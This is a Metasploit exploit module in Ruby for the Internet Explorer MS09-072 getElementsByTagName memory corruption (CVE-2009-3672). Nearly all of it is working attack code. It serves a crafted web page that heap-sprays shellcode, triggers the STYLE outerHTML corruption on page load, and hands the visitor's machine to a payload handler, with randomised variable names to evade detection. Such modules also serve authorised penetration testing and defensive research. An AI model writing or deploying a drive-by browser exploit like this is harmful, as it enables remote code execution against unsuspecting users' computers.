Microsoft Internet Explorer - Style getElementsByTagName Memory Corruption



##

# $Id: ms09_072_style_object.rb 9787 2010-07-12 02:51:50Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    #
    # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
    #
    #include Msf::Exploit::Remote::BrowserAutopwn
    #autopwn_info({
    #    :ua_name    => HttpClients::IE,
    #    :ua_minver  => "6.0",
    #    :ua_maxver  => "7.0",
    #    :javascript => true,
    #    :os_name    => OperatingSystems::WINDOWS,
    #    :vuln_test  => nil, # no way to test without just trying it
    #    :rank       => LowRanking  # exploitable on ie7/vista
    #})

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Internet Explorer Style getElementsByTagName Memory Corruption',
            'Description'    => %q{
                This module exploits a vulnerability in the getElementsByTagName function
            as implemented within Internet Explorer.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'securitylab.ir <K4mr4n_st[at]yahoo.com>',
                    'jduck'
                ],
            'Version'        => '$Revision: 9787 $',
            'References'     =>
                [
                    ['MSB', 'MS09-072'],
                    ['CVE', '2009-3672'],
                    ['OSVDB', '50622'],
                    ['BID', '37085'],
                    ['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'],
                    ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC'          => 'process',
                    'HTTP::compression' => 'gzip',
                    'HTTP::chunked'     => true
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'Compat'   =>
                        {
                            'ConnectionType' => '-find',
                        },
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { }],
                ],
            'DisclosureDate' => 'Nov 20 2009',
            'DefaultTarget'  => 0))
    end

    def on_request_uri(cli, request)

        # resulting eips:
        # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)
        # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)
        # nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)
        # 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)
        # 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)

        print_status("Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}")

        var_memory    = rand_text_alpha(rand(100) + 1)
        var_boom      = rand_text_alpha(rand(100) + 1)
        var_body      = rand_text_alpha(rand(100) + 1)
        var_unescape  = rand_text_alpha(rand(100) + 1)
        var_shellcode = rand_text_alpha(rand(100) + 1)
        var_spray     = rand_text_alpha(rand(100) + 1)
        var_start     = rand_text_alpha(rand(100) + 1)
        var_i         = rand_text_alpha(rand(100) + 1)
        var_ss        = rand_text_alpha(rand(100) + 1)
        var_fb        = rand_text_alpha(rand(100) + 1)
        var_bk        = rand_text_alpha(rand(100) + 1)

        html = %Q|<!DOCTYPE>
<head>
<script language=javascript>
function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }
function #{var_body}(){
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
var #{var_ss} = 20 + #{var_shellcode}.length;
while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};
#{var_fb} = #{var_spray}.substring(0,#{var_ss});
#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});
while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};
var #{var_memory} = new Array();
for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};
#{var_boom}();
}
</script>
<STYLE>* { margin: 0; overflow: scroll }</STYLE>
<BODY ONLOAD="#{var_body}()">
</body>
</html>
|

        # Transmit the response to the client
        send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

        # Handle the payload
        handler(cli)
    end
end